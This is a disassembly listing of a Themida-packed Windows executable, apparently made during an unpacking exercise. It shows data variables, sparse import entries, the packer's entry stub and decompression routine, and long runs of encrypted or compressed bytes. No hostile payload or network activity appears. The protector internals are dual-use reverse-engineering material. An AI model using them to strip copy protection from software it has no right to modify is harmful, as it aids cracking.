dword_48A034	dd 2400B30h		; DATA XREF: ___:0040E995r
					; ___:0040E9B5r ...
		dd 0
dword_48A03C	dd 2400B58h		; DATA XREF: ___:0041F1CBw
					; sub_421DAE+9r ...
dword_48A040	dd 0			; DATA XREF: sub_422492+36r
dword_48A044	dd 0			; DATA XREF: sub_421DAE+16r
					; sub_42217C+4r ...
		dd 0
off_48A04C	dd offset aCM_unpackerPac ; DATA XREF: ___:0041F26Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_48A054	db 0			; DATA XREF: sub_419B07+2Dw
					; sub_41FAE7+5r
		align 4
dword_48A058	dd 0			; DATA XREF: sub_419B07+27w
dword_48A05C	dd 0			; DATA XREF: sub_419B07+4r
					; sub_419B07+8Bw
dword_48A060	dd 0			; DATA XREF: ___:loc_41F199r
					; ___:loc_41F1DBr ...
		align 8
dword_48A068	dd 0			; DATA XREF: sub_419CDAr sub_41F84Cr ...
dword_48A06C	dd 0			; DATA XREF: sub_41A8A2+37r
		dd 0
dword_48A074	dd 0			; DATA XREF: sub_417B89r
					; sub_41944F:loc_41956Br ...
dword_48A078	dd 0			; DATA XREF: sub_41AB54r
dword_48A07C	dd 0			; DATA XREF: sub_41BA22+4Bw
					; sub_41BB3B+2Dw ...
dword_48A080	dd 0			; DATA XREF: sub_41C96D+11r
					; sub_41CA71+1Ar ...
byte_48A084	db 0			; DATA XREF: sub_41C96D+3r
					; sub_41C96D+98r ...
		align 4
dword_48A088	dd 0			; DATA XREF: sub_41CA71+11r
					; sub_41CB4F+21w ...
byte_48A08C	db 0			; DATA XREF: sub_41CB4F+51w
		align 10h
dword_48A090	dd 0			; DATA XREF: sub_41CD45+4Er
					; sub_41D120+3Ar ...
dword_48A094	dd 0			; DATA XREF: sub_41CD45+5Cr
					; sub_41D120+43r ...
dword_48A098	dd 0			; DATA XREF: sub_417FFA+7Ar
					; sub_41CEEC+5r
dword_48A09C	dd 0			; DATA XREF: sub_41D4FC+29r
dword_48A0A0	dd 2 dup(0)		; DATA XREF: sub_418790+Co
dword_48A0A8	dd 0			; DATA XREF: sub_419063+4r
					; sub_419063+6Er ...
		dd 3 dup(0)
dword_48A0B8	dd 0			; DATA XREF: sub_4199B9+61r
					; sub_4199B9+BFr ...
		align 10h
dword_48A0C0	dd 1			; DATA XREF: sub_41E709+28r
					; sub_41E709+4Cw ...
dword_48A0C4	dd 1			; DATA XREF: sub_41E92D:loc_41EAA8r
					; sub_41EAC6+4w ...
dword_48A0C8	dd 0			; DATA XREF: ___:0041EFE5r
					; ___:0041EFF1w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_41F257o
					; ___:off_48A04Co
		align 4
		dd 3Ah dup(0)
dword_48A1D0	dd 1			; DATA XREF: ___:0041F48Fr
					; ___:0041F4B0w ...
dword_48A1D4	dd 0			; DATA XREF: sub_41F84C+21r
dword_48A1D8	dd 0			; DATA XREF: sub_41A8A2:loc_41A8CBw
					; sub_41A96C+154w ...
dword_48A1DC	dd 1			; DATA XREF: sub_41FB63+26r
					; sub_41FB63:loc_41FBCDw
dword_48A1E0	dd 0			; DATA XREF: sub_41A96C+7r
		align 8
word_48A1E8	dw 0			; DATA XREF: sub_42074B+1Ao
					; sub_42074B+46r
byte_48A1EA	db 0			; DATA XREF: sub_42074B+39r
		align 4
dword_48A1EC	dd 7 dup(0)		; DATA XREF: sub_42074B+52o
dword_48A208	dd 0			; DATA XREF: sub_42074B+40w
					; sub_42074B+5Co
dword_48A20C	dd 0			; DATA XREF: sub_42074B+4Dw
dword_48A210	dd 0			; DATA XREF: sub_42074B+31w
dword_48A214	dd 0			; DATA XREF: sub_42074B+52w
dword_48A218	dd 77C26E79h		; DATA XREF: sub_42086E:loc_420891r
					; sub_42086E+38r
		align 10h
dword_48A220	dd 0			; DATA XREF: sub_42094E+11w
					; sub_42094E+63w ...
		align 8
dword_48A228	dd 0			; DATA XREF: sub_42094E+33o
					; sub_42094E+46r
dword_48A22C	dd 10h dup(0)		; DATA XREF: sub_42094E+C1o
word_48A26C	dw 0			; DATA XREF: sub_420BAC+A8r
word_48A26E	dw 0			; DATA XREF: sub_42094E+54r
					; sub_420BAC+DBr ...
word_48A270	dw 0			; DATA XREF: sub_420BAC+CAr
word_48A272	dw 0			; DATA XREF: sub_420BAC+D3r
					; sub_420BAC:loc_420C9Er
word_48A274	dw 0			; DATA XREF: sub_420BAC+C0r
word_48A276	dw 0			; DATA XREF: sub_420BAC+B8r
word_48A278	dw 0			; DATA XREF: sub_420BAC+B0r
word_48A27A	dw 0			; DATA XREF: sub_420BAC+9Er
dword_48A27C	dd 0			; DATA XREF: sub_42094E+4Br
dword_48A280	dd 10h dup(0)		; DATA XREF: sub_42094E+FBo
word_48A2C0	dw 0			; DATA XREF: sub_420BAC+46r
word_48A2C2	dw 0			; DATA XREF: sub_42094E:loc_4209C5r
					; sub_420BAC+78r ...
word_48A2C4	dw 0			; DATA XREF: sub_420BAC+67r
word_48A2C6	dw 0			; DATA XREF: sub_420BAC+70r
					; sub_420BAC:loc_420C30r
word_48A2C8	dw 0			; DATA XREF: sub_420BAC+5Dr
word_48A2CA	dw 0			; DATA XREF: sub_420BAC+55r
word_48A2CC	dw 0			; DATA XREF: sub_420BAC+4Dr
word_48A2CE	dw 0			; DATA XREF: sub_420BAC+3Er
dword_48A2D0	dd 0			; DATA XREF: sub_42094E+80r
dword_48A2D4	dd 0			; DATA XREF: sub_42094E+132r
					; sub_42094E:loc_420A9Ar ...
dword_48A2D8	dd 0			; DATA XREF: sub_420939r sub_420939+Ew
dword_48A2DC	dd 0			; DATA XREF: sub_42105F+3r
					; sub_42105F+2Ew ...
dword_48A2E0	dd 0			; DATA XREF: sub_42105F+43w
					; sub_42105F:loc_4210AEr
dword_48A2E4	dd 0			; DATA XREF: sub_42105F+4Aw
					; sub_42105F+60r
dword_48A2E8	dd 0			; DATA XREF: sub_41FEC6+3Fr
dword_48A2EC	dd 0			; DATA XREF: sub_421C3C:loc_421CA3r
					; sub_421C3C+6Do
dword_48A2F0	dd 0			; DATA XREF: sub_421C3C:loc_421C7Ar
					; sub_421C3C+44o
dword_48A2F4	dd 0			; DATA XREF: sub_421C3C:loc_421C6Dr
					; sub_421C3C+37o
dword_48A2F8	dd 0			; DATA XREF: sub_421C3C:loc_421C87r
					; sub_421C3C+51o
		align 10h
dword_48A300	dd 0			; DATA XREF: sub_4221EA+28r
					; sub_4221EA+48w ...
dword_48A304	dd 0			; DATA XREF: sub_422C78+28r
					; sub_422C78+4Cw ...
dword_48A308	dd 0			; DATA XREF: sub_422F03+26r
					; sub_422F03:loc_422F6Dw
byte_48A30C	db 0			; DATA XREF: sub_40482Cr sub_40482C+9w
		align 10h
dword_48A310	dd 2401140h		; DATA XREF: sub_41A835:loc_41A846r
					; sub_41AADC+14r ...
		align 10h
dword_48A320	dd 400h	dup(0)		; DATA XREF: ___:off_43BCB8o
					; ___:0043BCC0o
dword_48B320	dd 200h			; DATA XREF: sub_41A835+9r
					; sub_41A835+56r ...
		dd 7 dup(0)
dword_48B340	dd 2400650h		; DATA XREF: sub_419D23+B1r
					; sub_41E248+75r ...
dword_48B344	dd 3Fh dup(0)		; DATA XREF: ___:0041F651o
dword_48B440	dd 20h			; DATA XREF: sub_41A6B7+8r
					; sub_41E321+Cr ...
dword_48B444	dd 4E4h			; DATA XREF: sub_41E92D+14r
					; sub_41E92D+65w ...
		align 10h
dword_48B450	dd 3 dup(0)		; DATA XREF: sub_41E92D+123o
					; sub_41E92D+171o ...
dword_48B45C	dd 0			; DATA XREF: sub_41E92D+108w
					; sub_41E92D+15Dw ...
byte_48B460	db 0			; DATA XREF: sub_41EB6C:loc_41EC78w
					; sub_41EB6C:loc_41EC95w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_48B560	db 0			; DATA XREF: sub_41E92D+5Co
					; sub_41E92D+AFo ...
byte_48B561	db 0			; DATA XREF: sub_4192B8+5Dr
					; sub_41E92D+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_48B664	dd 0			; DATA XREF: sub_41E92D+6Ew
					; sub_41E92D+12Bw ...
dword_48B668	dd 0			; DATA XREF: sub_41B3E6+5r
					; sub_41B3E6+32w
dword_48B66C	dd 0			; DATA XREF: sub_41ADB4+23Ar
					; sub_41ADB4+25Ar ...
dword_48B670	dd 0			; DATA XREF: sub_41ADB4+311w
					; sub_41B0DD:loc_41B12Dr ...
dword_48B674	dd 0			; DATA XREF: sub_41ADB4+22Dr
					; sub_41ADB4+260r ...
dword_48B678	dd 0			; DATA XREF: sub_41AD89r
					; sub_41ADB4+2CBr ...
dword_48B67C	dd 0			; DATA XREF: sub_41AD89+8r
					; sub_41ADB4+2D0r ...
dword_48B680	dd 0			; DATA XREF: sub_417BC7+Fr
					; sub_41944F+5Cr ...
dword_48B684	dd 2400000h		; DATA XREF: sub_417BC7+66r
					; sub_417C3B+5Ar ...
dword_48B688	dd 1			; DATA XREF: sub_417BC7r sub_417C3B+Cr ...
dword_48B68C	dd 142340h		; DATA XREF: ___:0041F13Er
					; ___:0041F269r
dword_48B690	dd 1			; DATA XREF: ___:0041F234w sub_421DAEr
dword_48B694	dd 1			; DATA XREF: sub_41ECF1r
					; sub_41ECF1+11w ...
dword_48B698	dd 2400758h		; DATA XREF: sub_418603+13r
					; sub_418603:loc_418645r ...
dword_48B69C	dd 2400758h		; DATA XREF: sub_418603+1r
					; sub_418603+Cr ...
		dd 258h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 0008D000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0008D000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 48D000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 0008E000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0008E000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 48E000h
a7icwCw		db '7w\w',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 8E050h, 8E000h, 3 dup(0)
		dd 8E079h, 8E00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 0008F000)
; Virtual size			: 000F6000 (1007616.)
; Section size in file		: 000F6000 (1007616.)
; Offset to raw	data for section: 0008F000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 48F000h
		dd 8063DFB4h, 480C5h, 52BB2h, 0C4172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 0048F265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004F750E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004FAAC7 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 004FAD3D SIZE 00000052 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_48F086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_48F041
		popa
		jmp	short loc_48F076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF0048F0h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_48F041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_48F04E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_48F06D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_48F074


loc_48F06D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_48F04E
; ---------------------------------------------------------------------------


loc_48F074:				; CODE XREF: start+57j
		mov	edi, eax


loc_48F076:				; CODE XREF: start+1Bj
		jmp	loc_48F265
; ---------------------------------------------------------------------------
		db 3
		dd 0F26AB9C7h, 0CF030008h
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_48F086:				; CODE XREF: start+8j
		mov	eax, offset loc_4F750E
		mov	ecx, offset word_48F26A
		push	eax
		push	ecx
		call	sub_48F11B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_48F265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aUFkxB		db '(x^',0
		dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h,	3163C78Eh
		dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h
		dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh
		dd 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_48F11B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_48F127:				; CODE XREF: sub_48F11B:loc_48F13Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_48F132:				; CODE XREF: sub_48F11B+7Aj
					; sub_48F11B+C3j ...
		add	dl, dl
		jnz	short loc_48F13B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F13B:				; CODE XREF: sub_48F11B+19j
		jnb	short loc_48F127
		add	dl, dl
		jnz	short loc_48F146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F146:				; CODE XREF: sub_48F11B+24j
		jnb	short loc_48F197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_48F153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F153:				; CODE XREF: sub_48F11B+31j
		jnb	loc_48F238
		add	dl, dl
		jnz	short loc_48F162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F162:				; CODE XREF: sub_48F11B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_48F16D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F16D:				; CODE XREF: sub_48F11B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_48F178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F178:				; CODE XREF: sub_48F11B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_48F183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F183:				; CODE XREF: sub_48F11B+61j
		adc	eax, eax
		jz	short loc_48F18D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_48F18D:				; CODE XREF: sub_48F11B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_48F132
; ---------------------------------------------------------------------------


loc_48F197:				; CODE XREF: sub_48F11B:loc_48F146j
		mov	eax, 1


loc_48F19C:				; CODE XREF: sub_48F11B:loc_48F1B0j
		add	dl, dl
		jnz	short loc_48F1A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F1A5:				; CODE XREF: sub_48F11B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_48F1B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F1B0:				; CODE XREF: sub_48F11B+8Ej
		jb	short loc_48F19C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_48F1E3
		mov	ecx, 1


loc_48F1C0:				; CODE XREF: sub_48F11B:loc_48F1D4j
		add	dl, dl
		jnz	short loc_48F1C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F1C9:				; CODE XREF: sub_48F11B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_48F1D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F1D4:				; CODE XREF: sub_48F11B+B2j
		jb	short loc_48F1C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_48F132
; ---------------------------------------------------------------------------


loc_48F1E3:				; CODE XREF: sub_48F11B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_48F1F1:				; CODE XREF: sub_48F11B:loc_48F205j
		add	dl, dl
		jnz	short loc_48F1FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F1FA:				; CODE XREF: sub_48F11B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_48F205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F205:				; CODE XREF: sub_48F11B+E3j
		jb	short loc_48F1F1
		cmp	eax, 7D00h
		jnb	short loc_48F228
		cmp	eax, 500h
		jb	short loc_48F223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_48F132
; ---------------------------------------------------------------------------


loc_48F223:				; CODE XREF: sub_48F11B+F8j
		cmp	eax, 7Fh
		ja	short loc_48F22B


loc_48F228:				; CODE XREF: sub_48F11B+F1j
		add	ecx, 2


loc_48F22B:				; CODE XREF: sub_48F11B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_48F132
; ---------------------------------------------------------------------------


loc_48F238:				; CODE XREF: sub_48F11B:loc_48F153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_48F259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_48F132
; ---------------------------------------------------------------------------


loc_48F259:				; CODE XREF: sub_48F11B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_48F11B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_48F265:				; CODE XREF: start:loc_48F076j
					; start+9Dj
		jmp	loc_4F750E
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_48F26A	dw 38E9h		; DATA XREF: start+77o
		dd 15235B4h, 0B836C8EFh, 1F2AE46h, 1159309Dh, 0BF4603B8h
		dd 0AE1078CEh, 2E92E2EEh, 22F2AB11h, 0EB6E843Bh, 0AF1101CEh
		dd 3AAF1FBh, 0FB521DC2h, 5203FE4Ch, 61747365h, 70419972h
		dd 78E92EC5h, 0D563C7F2h, 3B83571h, 21EFAE46h, 0EF11EE33h
		dd 1FE17122h, 6854F0BFh, 696D0E65h, 0AE116164h,	0E12422BAh
		dd 98F2EF0Bh, 0F4EE112Eh, 0F3483BAFh, 85037021h, 0C874E9D5h
		dd 8B8E5F7Dh, 60D442C5h, 5D0A80E8h, 1C3ED81h, 89060735h
		dd 84089995h, 1C9B50Dh,	19718546h, 0A0BD833Eh, 1C74E00Dh
		dd 89E88B0Ch, 0F991B8E2h, 701CEFC2h, 3E712444h,	6A001AEDh
		dd 0A360E845h, 749A6829h, 0DFE9FB83h, 4B250A40h, 440A7A89h
		dd 1429E9D5h, 405FEC02h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	dword ptr [ebx], 0FFFFFFC4h
		fsubr	st, st(6)
		add	[edx-7Fh], ebx
		jmp	far ptr	0C7DAh:8B0036B1h
; ---------------------------------------------------------------------------
		dw 4524h
		dd 0E6C08D8h, 8896340h,	80F37D81h, 0F741D19h, 83FC0820h
		dd 0FF45CC1Bh, 0EB314312h, 61DC36E1h, 0C90A26BAh, 34604C2h
		dd 0FF7CC481h, 22490247h, 458D00FAh, 85D8B80h, 19A285C7h
		dd 8D5025h, 88C3D10Ah, 89544118h, 0BD51810Bh, 755D0106h
		dd 14274AE3h, 7664BA8Dh, 8A807502h, 48F4BB0Eh, 7ABB85Bh
		dd 0D3785437h, 80FE6D0h, 0F7754B1Dh, 47C3AF82h,	314A9246h
		dd 4251F946h, 8A5D61D1h, 0AFF0D003h, 5045EEECh,	51EB4DFCh
		dd 46E4AD04h, 403E6280h, 849BBAF7h, 7D0C3473h, 3E7FEB0Ch
		dd 6D6486F8h, 0E26F012h, 4A10F454h, 0F065C10Ah,	0F801D604h
		dd 0C203E0D1h, 332800CBh, 301C8ADBh, 72E6FB80h,	390A0A61h
		dd 0EBE90577h, 3F2293F7h, 0DB36114h, 8FB660Ah, 0C3FA1E7Ah
		dd 10610A75h, 0B72411Ah, 77460A86h, 10F52406h, 0C3F05D01h
		dd 7D83F4ECh, 0B0720298h, 76C00CD9h, 0AA32A5BBh, 700EF826h
		dd 0A8508D3Bh, 0FC55053Bh, 4E78820Fh, 0AA0DB0BDh, 0BA87F238h
		dd 5B90708h, 0BDFC4270h, 0FE003840h, 0E49470Fh,	22B9FA75h
		dd 0BBE16A2Eh, 0C809F101h, 0BCEDEB82h, 868E0402h, 7BC13A2Eh
		dd 36C16551h, 28F71DBFh, 5007268Ah, 185905E9h, 0F068C10h
		dd 560F40BCh, 0FD6B6F9Dh, 1B04E94Ch, 0C45E3921h, 256D8A01h
		dd 98458205h, 46211708h, 1EC40056h, 0C32CD914h,	0DB66C010h
		dd 7D4F172h, 0CB8C5C53h, 82670034h, 5B004E39h, 0B8100F76h
		dd 7C043D51h, 613B76D1h, 9755246h, 8111D52Eh, 0E4EC480Eh
		dd 56479065h, 5C584D0h,	4196328Eh, 2A3C53F7h, 3329C204h
		dd 0E7C8718Ch, 0CCA40E6Eh, 30812BFFh, 1D220477h, 8406C134h
		dd 207533F9h, 0DD3F41BCh, 9CEFD90Ah, 41CE0230h,	7F8C26ECh
		dd 43FF7ECCh, 0A9453F40h, 624060E9h, 28C52C4h, 8211254Dh
		dd 3413B1AAh, 22845AABh, 0E1985613h, 0EE2A825Eh, 2A1814Ch
		dd 0EA8A130Ah, 231388B9h, 0A0439714h, 1DBC6751h, 7A5C548Ch
		dd 8D12E03Ch, 0A3041FDAh, 44C4590Eh, 1962458Ah,	0C4514120h
		dd 83900EFh, 0EBBC83A9h, 4900D66Bh, 8C05E281h, 19CA0BDAh
		dd 35188610h, 228ED8C8h, 1502B4CCh, 9B2702BCh, 23EA127Ch
		dd 0B8E08121h, 25F21749h, 955EEAh, 9ADE5BBFh, 0F7033581h
		dd 0A4678D8h, 0AC51D741h, 92208A72h, 0C10831Ch,	0E91432AEh
		dd 0CF003D12h, 0CDE3746Dh, 0A807ACDEh, 55E049E8h, 12B057D7h
		dd 3B587BBh, 105A4C9Dh,	3B760C8Eh, 50AC8A52h, 0AB7DE014h
		dd 2832C2E8h, 108E235Fh, 8F782FBCh, 0F72C1A0Ah,	833D67EAh
		dd 0F0CEFF30h, 0F3580EEh, 59F73881h, 7461AAh, 7F706068h
		dd 257C940h, 0D2B03100h, 0A98C6C79h, 13EA3067h,	3FCAB22Bh
		dd 60E07A03h, 0F84E97D8h, 0F4CC1477h, 9A2400A3h, 0C182625Fh
		dd 0E6244A31h, 790F0545h, 0D5E940CBh, 4D191Eh, 54C05357h
		dd 5B1C85AAh, 653280E3h, 8C2D6352h, 0EA5118D7h,	707E750Dh
		dd 0FC3BED71h, 0C5B00098h, 9081E360h, 0C0322805h, 271C03EBh
		dd 0BE95461h, 40303701h, 0B0034874h, 43ACCF0h, 825F590Ah
		dd 732AC1D2h, 0EFAA802Ah, 721C1FD9h, 6FF1FD54h,	7E42F2F4h
		dd 0D5C73160h, 20D28B1Dh, 0DEBAF5E9h, 131739A1h, 0B907D8C0h
		dd 24EA2244h, 27FFE700h, 9079365Bh, 5520046h, 0E48293C5h
		dd 730B724Bh, 2334EA42h, 93A76652h, 61BAF8D0h, 0C57859h
		dd 892CDA67h, 8441DBD1h, 477492FAh, 0F7003BF0h,	329AE129h
		dd 6531E6h, 0E2FF61F6h,	0C591AF47h, 0DB285460h,	3394E86h
		dd 34706620h, 18D0070Ch, 850F7B6Bh, 6FA45FFDh, 0A895E0F5h
		dd 39CAD4F9h, 48030F09h, 4968E08Ah, 750491Fh, 3D3189F0h
		dd 99C060FFh, 53E98EB5h, 0DED78B1Dh, 0D3F5A8C0h, 60BB31A7h
		dd 73D130EDh, 0EC3B3E2Ch, 3BFD8022h, 999B78F4h,	0CA7A019Ah
		dd 0C84431FFh, 4A1D4F5h, 0CCDF9203h, 20CE321h, 506C3288h
		dd 8491E20Fh, 0F95981E7h, 0F197156Eh, 0E865930h, 2264EB25h
		dd 0A178CE6Fh, 39C4E06Dh, 0B380EF52h, 3E99E59Fh, 180AEABh
		dd 0D13B5D15h, 5BFE6F0Dh, 8166C8C0h, 0C70FAFCh,	0E1D88676h
		dd 720C03A1h, 98EC1319h, 591C1D5Ch, 126106E4h, 980C28B1h
		dd 0A1DC5B93h, 0C4A20C36h, 2211ECBAh, 28643B00h, 23F8B47Ah
		dd 26F3000Bh, 85D96E40h, 0C60365B3h, 47E30C98h,	0B9D66Dh
		dd 10A2E2F8h, 0DCB83995h, 8278FA0Ch, 6CC7094h, 0D0EB49F4h
		dd 7D00F185h, 0D5DA255h, 0AC68CD8Fh, 503B00CCh,	0A732A543h
		dd 7001D63Ch, 995EE59Ah, 509F9776h, 0EBCB843Dh,	810035C6h
		dd 63E0A865h, 808914Dh,	0FA85D813h, 94530E98h, 1A8AAB00h
		dd 93721D6h, 0DD61CE65h, 92694C0Ch, 29509A40h, 11E8E604h
		dd 0F7E004EBh, 47C0AF23h, 1FC8E886h, 0C1A52E9Bh, 0C57ED8EBh
		dd 8D81844Ah, 13806B31h, 1CF58ABDh, 61587EBh, 59DE6D65h
		dd 40DFD00h, 16A84C70h,	0EAF406DDh, 0E0618E4Ah,	78D49244h
		dd 59CC6F23h, 3C029300h, 2929DEA2h, 3100742Ch, 32E51167h
		dd 1018903Dh, 1F53A987h, 4B5ECA86h, 5A030CA4h, 69F4661h
		dd 0AF41CEE8h, 0CA1E18F0h, 830C6A89h, 0A0D410F7h, 18D2ACACh
		dd 30B02A98h, 0C47B0FA1h, 5445D63Ch, 0F0907C9Ch, 0C018D24h
		dd 6631003Dh, 0B5889436h, 5F830CA2h, 5E887CF0h,	8020FE48h
		dd 8EC4684h, 0F7F52AC9h, 0CEDB06B0h, 801B5339h,	97C2D00Ah
		dd 0AC80F031h, 0F206768h, 6DE13457h, 0F933C050h, 487415D5h
		dd 73331D00h, 3E518044h, 0D6FC1DE3h, 0A505C193h, 0C8A30F8Ah
		dd 0AC00B801h, 5C457388h, 0E86ECBA9h, 8CF700B2h, 0EB2CAD37h
		dd 8DE2B4A2h, 0D45070F1h, 34015DF8h, 0FDA25CEh,	4130BCFAh
		dd 2BA400B8h, 0AEC959B6h, 5D015638h, 0E245029Eh, 2CD0CC41h
		dd 0F9110017h, 4AC439E0h, 0C614DAD6h, 9CFEC1h, 40DB416Dh
		dd 18DD3084h, 18DC19CEh, 0B524570Dh, 18A1F445h,	0A800F421h
		dd 74B06714h, 65120A4Dh, 89A0E5BBh, 0F100B2E4h,	0A74805BFh
		dd 0EA00A1F2h, 59BAA652h, 0A851C425h, 36ABB4h, 3D306E01h
		dd 0B6D74E12h, 1BA54600h, 0A03AECC2h, 0DF3206E3h, 99E661C6h
		dd 53F98710h, 3D89929h,	0E4BB1B36h, 0E300117Ch,	6D835C06h
		dd 754294B6h, 0B9D760EEh, 62D169B9h, 219D4E00h,	0BA995A87h
		dd 14609A88h, 0FCEF0709h, 51A8F17Ah, 6A4D007Fh,	6685D75Ah
		dd 80C24491h, 646CA188h, 5DBB0EB8h, 1DC086CFh, 510CCC74h
